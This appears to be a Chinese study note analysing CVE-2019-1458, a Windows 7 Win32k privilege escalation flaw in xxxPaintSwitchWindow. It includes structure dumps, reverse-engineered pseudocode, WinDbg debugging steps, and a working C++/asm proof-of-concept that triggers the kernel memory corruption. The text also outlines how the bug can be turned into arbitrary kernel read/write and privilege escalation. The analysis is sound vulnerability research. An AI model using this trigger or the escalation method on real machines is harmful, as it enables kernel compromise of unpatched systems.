摘要 CVE-2019-1458
是Win32k 中的特权提升漏洞,Win32k 组件无法正确处理内存中的对象时,导致Windows 中存在一个特权提升漏洞。该漏洞存在于win32k的xxxPaintSwitchWindow
函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。但是该地址可以通过SetWindowLong
函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。
通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra
,通过内存布局,在被扩大cbwndExtra
的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。
成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。
漏洞分析 漏洞存在于函数为xxxPaintSwitchWindow
,我们知道64位程序的调用约定是rcx,rdx,r8,r9。该函数只有一个参数,也就是窗口对象的tagWnd
结构体,该结构体在Win7是公开的。下面圈出来的地方分别是,先将tagWND
赋给rsi,然后取出扩展区域最开始的八个字节保存的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 typedef struct _tagWND // 170 elements, 0x128 bytes (sizeof) { /*0x000*/ struct _THRDESKHEAD head; // 5 elements, 0x28 bytes (sizeof) union // 2 elements, 0x4 bytes (sizeof) { /*0x028*/ ULONG32 state; struct // 32 elements, 0x4 bytes (sizeof) { /*0x028*/ INT32 bHasMeun : 1; // 0 BitPosition /*0x028*/ INT32 bHasVerticalScrollbar : 1; // 1 BitPosition /*0x028*/ INT32 bHasHorizontalScrollbar : 1; // 2 BitPosition /*0x028*/ INT32 bHasCaption : 1; // 3 BitPosition /*0x028*/ INT32 bSendSizeMoveMsgs : 1; // 4 BitPosition /*0x028*/ INT32 bMsgBox : 1; // 5 BitPosition /*0x028*/ INT32 bActiveFrame : 1; // 6 BitPosition /*0x028*/ INT32 bHasSPB : 1; // 7 BitPosition /*0x028*/ INT32 bNoNCPaint : 1; // 8 BitPosition /*0x028*/ INT32 bSendEraseBackground : 1; // 9 BitPosition /*0x028*/ INT32 bEraseBackground : 1; // 10 BitPosition /*0x028*/ INT32 bSendNCPaint : 1; // 11 BitPosition /*0x028*/ INT32 bInternalPaint : 1; // 12 BitPosition /*0x028*/ INT32 bUpdateDirty : 1; // 13 BitPosition /*0x028*/ INT32 bHiddenPopup : 1; // 14 BitPosition /*0x028*/ INT32 bForceMenuDraw : 1; // 15 BitPosition /*0x028*/ INT32 bDialogWindow : 1; // 16 BitPosition /*0x028*/ INT32 bHasCreatestructName : 1; // 17 BitPosition /*0x028*/ INT32 bServerSideWindowProc : 1; // 18 BitPosition /*0x028*/ INT32 bAnsiWindowProc : 1; // 19 BitPosition /*0x028*/ INT32 bBeingActivated : 1; // 20 BitPosition /*0x028*/ INT32 bHasPalette : 1; // 21 BitPosition /*0x028*/ INT32 bPaintNotProcessed : 1; // 22 BitPosition /*0x028*/ INT32 bSyncPaintPending : 1; // 23 BitPosition /*0x028*/ INT32 bRecievedQuerySuspendMsg : 1; // 24 BitPosition /*0x028*/ INT32 bRecievedSuspendMsg : 1; // 25 BitPosition /*0x028*/ INT32 bToggleTopmost : 1; // 26 BitPosition /*0x028*/ INT32 bRedrawIfHung : 1; // 27 BitPosition /*0x028*/ INT32 bRedrawFrameIfHung : 1; // 28 BitPosition /*0x028*/ INT32 bAnsiCreator : 1; // 29 BitPosition /*0x028*/ INT32 bMaximizesToMonitor : 1; // 30 BitPosition /*0x028*/ INT32 bDestroyed : 1; // 31 BitPosition }; }; union // 2 elements, 0x4 bytes (sizeof) { /*0x02C*/ ULONG32 state2; struct // 30 elements, 0x4 bytes (sizeof) { /*0x02C*/ INT32 bWMPaintSent : 1; // 0 BitPosition /*0x02C*/ INT32 bEndPaintInvalidate : 1; // 1 BitPosition /*0x02C*/ INT32 bStartPaint : 1; // 2 BitPosition /*0x02C*/ INT32 bOldUI : 1; // 3 BitPosition /*0x02C*/ INT32 bHasClientEdge : 1; // 4 BitPosition /*0x02C*/ INT32 bBottomMost : 1; // 5 BitPosition /*0x02C*/ INT32 bFullScreen : 1; // 6 BitPosition /*0x02C*/ INT32 bInDestroy : 1; // 7 BitPosition /*0x02C*/ INT32 bWin31Compat : 1; // 8 BitPosition /*0x02C*/ INT32 bWin40Compat : 1; // 9 BitPosition /*0x02C*/ INT32 bWin50Compat : 1; // 10 BitPosition /*0x02C*/ INT32 bMaximizeMonitorRegion : 1; // 11 BitPosition /*0x02C*/ INT32 bCloseButtonDown : 1; // 12 BitPosition /*0x02C*/ INT32 bMaximizeButtonDown : 1; // 13 BitPosition /*0x02C*/ INT32 bMinimizeButtonDown : 1; // 14 BitPosition /*0x02C*/ INT32 bHelpButtonDown : 1; // 15 BitPosition /*0x02C*/ INT32 bScrollBarLineUpBtnDown : 1; // 16 BitPosition /*0x02C*/ INT32 bScrollBarPageUpBtnDown : 1; // 17 BitPosition /*0x02C*/ INT32 bScrollBarPageDownBtnDown : 1; // 18 BitPosition /*0x02C*/ INT32 bScrollBarLineDownBtnDown : 1; // 19 BitPosition /*0x02C*/ INT32 bAnyScrollButtonDown : 1; // 20 BitPosition /*0x02C*/ INT32 bScrollBarVerticalTracking : 1; // 21 BitPosition /*0x02C*/ INT32 bForceNCPaint : 1; // 22 BitPosition /*0x02C*/ INT32 bForceFullNCPaintClipRgn : 1; // 23 BitPosition /*0x02C*/ INT32 FullScreenMode : 3; // 24 BitPosition /*0x02C*/ INT32 bCaptionTextTruncated : 1; // 27 BitPosition /*0x02C*/ INT32 bNoMinmaxAnimatedRects : 1; // 28 BitPosition /*0x02C*/ INT32 bSmallIconFromWMQueryDrag : 1; // 29 BitPosition /*0x02C*/ INT32 bShellHookRegistered : 1; // 30 BitPosition /*0x02C*/ INT32 bWMCreateMsgProcessed : 1; // 31 BitPosition }; }; union // 2 elements, 0x4 bytes (sizeof) { /*0x030*/ ULONG32 ExStyle; struct // 32 elements, 0x4 bytes (sizeof) { /*0x030*/ INT32 bWS_EX_DLGMODALFRAME : 1; // 0 BitPosition /*0x030*/ INT32 bUnused1 : 1; // 1 BitPosition /*0x030*/ INT32 bWS_EX_NOPARENTNOTIFY : 1; // 2 BitPosition /*0x030*/ INT32 bWS_EX_TOPMOST : 1; // 3 BitPosition /*0x030*/ INT32 bWS_EX_ACCEPTFILE : 1; // 4 BitPosition /*0x030*/ INT32 bWS_EX_TRANSPARENT : 1; // 5 BitPosition /*0x030*/ INT32 bWS_EX_MDICHILD : 1; // 6 BitPosition /*0x030*/ INT32 bWS_EX_TOOLWINDOW : 1; // 7 BitPosition /*0x030*/ INT32 bWS_EX_WINDOWEDGE : 1; // 8 BitPosition /*0x030*/ INT32 bWS_EX_CLIENTEDGE : 1; // 9 BitPosition /*0x030*/ INT32 bWS_EX_CONTEXTHELP : 1; // 10 BitPosition /*0x030*/ INT32 bMakeVisibleWhenUnghosted : 1; // 11 BitPosition /*0x030*/ INT32 bWS_EX_RIGHT : 1; // 12 BitPosition /*0x030*/ INT32 bWS_EX_RTLREADING : 1; // 13 BitPosition /*0x030*/ INT32 bWS_EX_LEFTSCROLLBAR : 1; // 14 BitPosition /*0x030*/ INT32 bUnused2 : 1; // 15 BitPosition /*0x030*/ INT32 bWS_EX_CONTROLPARENT : 1; // 16 BitPosition /*0x030*/ INT32 bWS_EX_STATICEDGE : 1; // 17 BitPosition /*0x030*/ INT32 bWS_EX_APPWINDOW : 1; // 18 BitPosition /*0x030*/ INT32 bWS_EX_LAYERED : 1; // 19 BitPosition /*0x030*/ INT32 bWS_EX_NOINHERITLAYOUT : 1; // 20 BitPosition /*0x030*/ INT32 bUnused3 : 1; // 21 BitPosition /*0x030*/ INT32 bWS_EX_LAYOUTRTL : 1; // 22 BitPosition /*0x030*/ INT32 bWS_EX_NOPADDEDBORDER : 1; // 23 BitPosition /*0x030*/ INT32 bUnused4 : 1; // 24 BitPosition /*0x030*/ INT32 bWS_EX_COMPOSITED : 1; // 25 BitPosition /*0x030*/ INT32 bUIStateActive : 1; // 26 BitPosition /*0x030*/ INT32 bWS_EX_NOACTIVATE : 1; // 27 BitPosition /*0x030*/ INT32 bWS_EX_COMPOSITEDCompositing : 1; // 28 BitPosition /*0x030*/ INT32 bRedirected : 1; // 29 BitPosition /*0x030*/ INT32 bUIStateKbdAccelHidden : 1; // 30 BitPosition /*0x030*/ INT32 bUIStateFocusRectHidden : 1; // 31 BitPosition }; }; union // 2 elements, 0x4 bytes (sizeof) { /*0x034*/ ULONG32 style; struct // 31 elements, 0x4 bytes (sizeof) { /*0x034*/ INT32 bReserved1 : 16; // 0 BitPosition /*0x034*/ INT32 bWS_MAXIMIZEBOX : 1; // 16 BitPosition /*0x034*/ INT32 bReserved2 : 16; // 0 BitPosition /*0x034*/ INT32 bWS_TABSTOP : 1; // 16 BitPosition /*0x034*/ INT32 bReserved3 : 16; // 0 BitPosition /*0x034*/ INT32 bUnused5 : 1; // 16 BitPosition /*0x034*/ INT32 bWS_MINIMIZEBOX : 1; // 17 BitPosition /*0x034*/ INT32 bReserved4 : 16; // 0 BitPosition /*0x034*/ INT32 bUnused6 : 1; // 16 BitPosition /*0x034*/ INT32 bWS_GROUP : 1; // 17 BitPosition /*0x034*/ INT32 bReserved5 : 16; // 0 BitPosition /*0x034*/ INT32 bUnused7 : 2; // 16 BitPosition /*0x034*/ INT32 bWS_THICKFRAME : 1; // 18 BitPosition /*0x034*/ INT32 bReserved6 : 16; // 0 BitPosition /*0x034*/ INT32 bUnused8 : 2; // 16 BitPosition /*0x034*/ INT32 bWS_SIZEBOX : 1; // 18 BitPosition /*0x034*/ INT32 bReserved7 : 16; // 0 BitPosition /*0x034*/ INT32 bUnused9 : 3; // 16 BitPosition /*0x034*/ INT32 bWS_SYSMENU : 1; // 19 BitPosition /*0x034*/ INT32 bWS_HSCROLL : 1; // 20 BitPosition /*0x034*/ INT32 bWS_VSCROLL : 1; // 21 BitPosition /*0x034*/ INT32 bWS_DLGFRAME : 1; // 22 BitPosition /*0x034*/ INT32 bWS_BORDER : 1; // 23 BitPosition /*0x034*/ INT32 bMaximized : 1; // 24 BitPosition /*0x034*/ INT32 bWS_CLIPCHILDREN : 1; // 25 BitPosition /*0x034*/ INT32 bWS_CLIPSIBLINGS : 1; // 26 BitPosition /*0x034*/ INT32 bDisabled : 1; // 27 BitPosition /*0x034*/ INT32 bVisible : 1; // 28 BitPosition /*0x034*/ INT32 bMinimized : 1; // 29 BitPosition /*0x034*/ INT32 bWS_CHILD : 1; // 30 BitPosition /*0x034*/ INT32 bWS_POPUP : 1; // 31 BitPosition }; }; /*0x038*/ VOID* hModule; /*0x040*/ UINT16 hMod16; /*0x042*/ UINT16 fnid; /*0x044*/ UINT8 _PADDING0_[0x4]; /*0x048*/ struct _tagWND* spwndNext; /*0x050*/ struct _tagWND* spwndPrev; /*0x058*/ struct _tagWND* spwndParent; /*0x060*/ struct _tagWND* spwndChild; /*0x068*/ struct _tagWND* spwndOwner; /*0x070*/ struct _tagRECT rcWindow; // 4 elements, 0x10 bytes (sizeof) /*0x080*/ struct _tagRECT rcClient; // 4 elements, 0x10 bytes (sizeof) /*0x090*/ FUNCT_0075_0FB0_lpfnWndProc_aStoCidPfn* lpfnWndProc; /*0x098*/ struct _tagCLS* pcls; /*0x0A0*/ struct _HRGN__* hrgnUpdate; /*0x0A8*/ struct _tagPROPLIST* ppropList; /*0x0B0*/ struct _tagSBINFO* pSBInfo; /*0x0B8*/ struct _tagMENU* spmenuSys; /*0x0C0*/ struct _tagMENU* spmenu; /*0x0C8*/ struct _HRGN__* hrgnClip; /*0x0D0*/ struct _HRGN__* hrgnNewFrame; /*0x0D8*/ struct _LARGE_UNICODE_STRING strName; // 4 elements, 0x10 bytes (sizeof) /*0x0E8*/ INT32 cbwndExtra; /*0x0EC*/ UINT8 _PADDING1_[0x4]; /*0x0F0*/ struct _tagWND* spwndLastActive; /*0x0F8*/ struct _HIMC__* hImc; /*0x100*/ UINT64 dwUserData; /*0x108*/ struct _ACTIVATION_CONTEXT* pActCtx; /*0x110*/ struct _D3DMATRIX* pTransform; /*0x118*/ struct _tagWND* spwndClipboardListenerNext; union // 2 elements, 0x4 bytes (sizeof) { /*0x120*/ ULONG32 ExStyle2; struct // 12 elements, 0x4 bytes (sizeof) { /*0x120*/ INT32 bClipboardListener : 1; // 0 BitPosition /*0x120*/ INT32 bLayeredInvalidate : 1; // 1 BitPosition /*0x120*/ INT32 bRedirectedForPrint : 1; // 2 BitPosition /*0x120*/ INT32 bLinked : 1; // 3 BitPosition /*0x120*/ INT32 bLayeredForDWM : 1; // 4 BitPosition /*0x120*/ INT32 bLayeredLimbo : 1; // 5 BitPosition /*0x120*/ INT32 bHIGHDPI_UNAWARE_Unused : 1; // 6 BitPosition /*0x120*/ INT32 bVerticallyMaximizedLeft : 1; // 7 BitPosition /*0x120*/ INT32 bVerticallyMaximizedRight : 1; // 8 BitPosition /*0x120*/ INT32 bHasOverlay : 1; // 9 BitPosition /*0x120*/ INT32 bConsoleWindow : 1; // 10 BitPosition /*0x120*/ INT32 bChildNoActivate : 1; // 11 BitPosition }; }; }tagWND, *PtagWND;
验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:
对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,增减的数值由GetDPIMetrics
函数的返回值决定,这些操作是会扩大这些与rdi偏移的地址中保存的内容
总结,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong
函数修改,如果把这个地址指向窗口对象的cbwndExtra
成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra
。
一步步交叉引用可以看到调用链为xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow
,第一个函数在InitFunctionTables
表中,要想调用xxxWrapSwitchWndProc
函数,我们需要调用NtUserMessageCall
,下面是它的函数申明
1 NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType)
首先该函数在msg < 0x400
的时候,就会调用gapfnMessageCall
数组中保存的函数地址:
gapfnMessageCall
数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT
:
NtUserfnINLPDRAWITEMSTRUCT
函数通过参数dwType
计算偏移,调用gpsi
偏移中保存的函数:
gpsi
偏移地址保存的函数在InitFunctionTables
函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc
,所以参数dwType
需要为0,这样(8 * 6) & 0x1F+ 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT
就会调用xxxWrapSwitchWndProc
。
根据前面的分析xxxWrapSwitchWndProc
会调用xxxSwitchWndProc
函数,函数分为下面两个部分,首先第一个部分是判断tagWND->fnid
值,对于新创建的窗口,该值为0。
在第一个if
语句中,tagWND+0xE8
是tagWND->cbwndExtra
,因为tagWND->fnid
已经是0了,并且因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra
至少为8。*(gpsi+0x154)
值在未修复版本的win32k中为0,在修复版本中即使它被设置为0x130。那么,这里就是在判断gpsi+0x154
保存的内容大于等于至少0x130,所以这个条件不会成立。
第二个if
中,在传递的参数msg为WM_CREATE的时候,函数就不会返回:
1 #define WM_CREATE 0x0001
第三个if
中,(tagWND+0x128
会紧接在tagWND
结构之后,也就是后面我们要控制的ExtraBytes
)只要通过SetWindowLong
设置扩展区域起始的八字节不为0就不会返回。
如果这三处都不成立,就会将tagWND->fnid
设置为0x2A0
。
第二部分就是switch
部分,msg为0x3A
或者0x14
的时候,xxxSwitchWndProc
就会调用xxxPaintSwitchWindow
。
注意函数逻辑,我们需要两次进入这个函数 才能出发漏洞,第一次进入msg为1,最后将tagWND->fnid
设置为0x2A0
,第二次调用的时候就可以将msg指定为0x3A
或者0x14
,进而调用漏洞函数xxxPaintSwitchWindow
,下面是这个函数的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __fastcall xxxPaintSwitchWindow (tagWND *pwndSwitch) { ... if ( (pwndSwitch->style & 0x10000000 ) != 0 ) { if ( (pwndSwitch->fnid & 0x3FFF ) == 0x2A0 && pwndSwitch->cbwndExtra + 0x128 i64 == *(unsigned __int16 *)(gpsi + 0x154 ) ) { if ( *((char *)&pwndSwitch->1 + 3 ) < 0 ) return ; ExtraBytes = (_QWORD *)pwndSwitch->ExtraBytes; } if ( ExtraBytes ) { hdcSwitch = (HDC)GetDCEx(pwndSwitch, 0 i64, 0x10000 i64); if ( !*((_DWORD *)ExtraBytes + 0x1B ) ) goto LABEL_11; LOBYTE(v3) = 0x12 ; if ( (GetKeyState(v3) & 0x8000 u) == 0 i64 ) goto LABEL_25; if ( !*((_DWORD *)ExtraBytes + 0x1B ) ) { LABEL_11: if ( GetAsyncKeyState(0x12 u) >= 0 ) goto LABEL_25; } GetClientRect(pwndSwitch, (char *)ExtraBytes + 92 ); FillRect(hdcSwitch, (char *)ExtraBytes + 0x5C , *(_QWORD *)(gpsi + 3024 )); v5 = -*((_DWORD *)GetDPIMetrics() + 0x13 ); v6 = *((_DWORD *)GetDPIMetrics() + 0x12 ); *((_DWORD *)ExtraBytes + 0x18 ) -= v5; *((_DWORD *)ExtraBytes + 0x1A ) += v5; v6 *= -2 ; *((_DWORD *)ExtraBytes + 0x17 ) -= v6; *((_DWORD *)ExtraBytes + 0x19 ) += v6; ... } ... } ... }
因为IDA上都是偏移不是很明确,所以这里借鉴了这位博主的博客 ,其中pwndSwitch
表示的是被切换窗口的内核对象,满足4个条件:
被切换的窗口可视 @line:4
被切换窗口的fnid&0x3FFF==0x2A0
被切换的窗口的额外数据大小加上0x128
的值与gpsi+0x154
指向的内存值相等 @line:7
Alt键按下
关于第三点,创建窗口的时候,cbwndExtra
只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]
是否等于0x130
。而创建类名为"#32771"(0x8003)
窗口的时候,会将[gpsi + 0x154]
设置为0x130
,所以只需要通过创建这样一个窗口就可以绕过。最后五行就是漏洞关键点 ,获取的ExtraBytes
的值会被当成一个指针去修改一块内存的值,我们可以控制这个变量的值,进而实现任意内存破坏。
总结 所以漏洞触发步骤如下:
创建一个可见的带有八字节扩展区域的窗口用来触发漏洞。
调用NtUserMessageCall
,参数msg为WM_CREATE(0x1)
,将tagWND->fnid
设置为0x2A0
。
将扩展区域最开始八字节保存的地址设置为一个不合法的地址。
创建类名为”32771”的窗口,将[gpsi + 0x154]
设置为0x130
。
调用NtUserMessageCall
函数,参数msg为WM_ERASEBKGND(0x14)
,这样就会指向漏洞函数。
漏洞验证POC 我们需要获得NtUserMessageCall
函数的系统调用号,windbg调试的时候先.reload
,详细可以看这篇博客 。
源文件一共两个,一个cpp一个asm.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <Windows.h> extern "C" NTSTATUS NtUserMessageCall (HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii) ;void main () { MessageBoxA(NULL , "text:" , "start" , NULL ); HINSTANCE hInstance = GetModuleHandle(NULL ); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof (wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof (wcx); wcx.lpszClassName = L"SploitWnd" ; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8 ; printf ("[*] Registering window\n" ); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf ("[-] Failed registering SploitWnd window class\n" ); exit (-1 ); } printf ("[*] Creating instance of this window\n" ); HWND sploitWnd = CreateWindowEx(0 , L"SploitWnd" , L"" , WS_VISIBLE, 0 , 0 , 0 , 0 , NULL , NULL , hInstance, NULL ); if (sploitWnd == INVALID_HANDLE_VALUE) { printf ("[-] Failed to create SploitWnd window\n" ); exit (-1 ); } printf ("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n" ); NtUserMessageCall(sploitWnd, WM_CREATE, 0 , 0 , 0 , 0x0 , 1 ); printf ("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n" ); SetWindowLongPtr(sploitWnd, 0 , 0x4141414141414 ); printf ("[*] GetLastError = %x\n" , GetLastError()); printf ("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n" ); HWND switchWnd = CreateWindowEx(0 , (LPCWSTR)0x8003 , L"" , 0 , 0 , 0 , 0 , 0 , NULL , NULL , hInstance, NULL ); printf ("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time" ); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0 , 0 , 0 , 0x0 , 1 ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 _DATA SEGMENT _DATA ENDS _TEXT SEGMENT PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
将项目配置属性为DEDUG ,并且设置**项目属性-配置属性-C/C+±代码生成-运行库-多线程调试(/MTd)**。先运行程序,然后在windbg打开源文件,然后输入!process 0 0
命令
然后输入.process /i /r /p 进程内核对象地址
,WinDBG显示继续执行需要输入g,输入g,回车
输入.reload /f /user
重载用户层模块符号,在关键的地方下断点。
在xxx
函数运行该条指令后,tagWND->fnid
已经修改为0x2a0
第二次调用NtUserMessageCall
的时候。经过前面的分析会进行一些if判断。下图中就是前面代码第7行的判断。
总结 该漏洞主要是未正确初始化*(gpsi+0x154)
变量。
gpsi
是一个全局指针指向tagSERVERINFO
结构。这个结构描述了系统窗口(意味着菜单,桌面,切换等等)。这些窗口通过FNID值进行识别,例如 0x2A0
代表着切换窗口。并且这允许用户空间应用程序在任务切换窗口中设置额外的窗口数据
当使用RegisterClassEx
注册窗口时,我们有机会在WNDCLASSEX
上指定cbWndExtra
字段,该字段描述了除tagWND
结构外还将分配多少字节的额外数据,以储存窗口的额外信息。然后,我们可以通过调用SetWindowLongPtr
函数修改这些额外的字节。这个额外的字节是一个指针,所以可以解引用来实现任意地址写。
参考链接:CVE-2019-1458提权漏洞学习笔记
https://github.com/piotrflorczyk/cve-2019-1458_POC
CVE-2019-1458 分析